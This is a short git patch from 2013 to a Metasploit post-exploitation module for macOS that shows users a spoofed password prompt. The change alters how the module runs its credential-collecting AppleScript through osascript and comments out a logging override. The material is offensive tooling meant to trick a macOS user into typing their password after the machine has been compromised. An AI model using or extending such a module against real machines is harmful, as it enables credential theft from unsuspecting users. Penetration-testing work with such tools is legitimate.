From 44e37f1b98f3eb1ac2546b65612a661652bab587 Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Mon, 2 Dec 2013 21:43:58 +0100 Subject: [PATCH] Improved meterpreter compatibility --- modules/post/osx/gather/password_prompt_spoof.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 7bfa70ee95..cada8372aa 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Post ], self.class) end - def cmd_exec(str) - print_status "Running cmd '#{str}'..." - super - end +# def cmd_exec(str, args) +# print_status "Running cmd '#{str} #{args}'..." +# super +# end # Run Method for when run command is issued def run @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post # write the credentials script and run write_file(creds_osa,creds_script(pass_file)) - cmd_exec("cat #{creds_osa} | osascript") + cmd_exec("osascript #{creds_osa}") print_status("Waiting for user '#{username}' to enter credentials...")